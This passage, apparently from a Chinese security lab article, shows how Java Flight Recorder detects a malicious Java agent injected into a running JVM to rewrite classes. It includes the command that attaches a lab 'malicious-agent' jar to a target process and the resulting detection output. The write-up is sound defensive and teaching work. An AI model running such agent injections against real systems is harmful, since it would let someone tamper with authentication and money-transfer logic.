 jcmd $(cat /tmp/target.pid) JFR.start \
    name=security \
    settings=profile \
    maxage=24h \
    maxsize=500m \
    filename=/var/log/jfr/security.jfr

这一步得给security.jfr权限,否则白干

再执行注入

java --add-modules jdk.attach \
    -jar ~/asm-hijack-lab/malicious-agent/target/malicious-agent-1.0.0.jar \
    $(cat /tmp/target.pid)

导出记录

jcmd $(cat /tmp/target.pid) JFR.dump name=security

查看 retransform 事件

jfr print --events jdk.RetransformClasses,jdk.ClassRedefinition /var/log/jfr/security.jfr

检测到两次攻击行为:

攻击调用链

sun.instrument.InstrumentationImpl.retransformClasses0
  └→ sun.instrument.InstrumentationImpl.retransformClasses  line: 221
      └→ com.agent.AgentMain.retransformTargetClasses       line: 71
          └→ com.agent.AgentMain.doMain                     line: 35
              └→ com.agent.AgentMain.agentmain              line: 14
  • 入口是 agentmain — 证实通过 Attach API 动态注入(非启动时加载)
  • 执行线程为 "Attach Listener" — JVM 专门处理动态 attach 的线程
  • 完整暴露了恶意类名 com.agent.AgentMain 和方法调用路径

被篡改的目标类

redefinitionId

目标类

ClassLoader

2

com.victim.service.TransferService

Spring Boot LaunchedClassLoader

3

com.victim.service.AuthService

Spring Boot LaunchedClassLoader

结论

  1. JFR 可有效检测 ASM hijack — 记录了篡改的精确时间、目标类、调用栈
  2. 攻击完全可溯源 — 恶意 agent 的包名、类名、方法名、行号全部暴露
  3. 防御前提:JFR 必须在攻击发生前启动,否则无法捕获

八、小结

关于攻击链定位

本文描述的技术是后渗透阶段的操作,前提是攻击者已拥有对目标JVM进程的操作权限。完整的攻击链是:

​

彻底禁用Attach机制是有效防御,但代价是失去全部JVM诊断能力。需要jcmd、jstack、jmap、JFR等工具排查性能问题和故障。这形成了安全与可观测性的经典矛盾。

更合理的工程实践是:不禁用Attach,但建立运行时字节码的完整性校验作为补偿性控制。如同不关闭SSH端口,但使用密钥认证+fail2ban+审计日志来管理风险。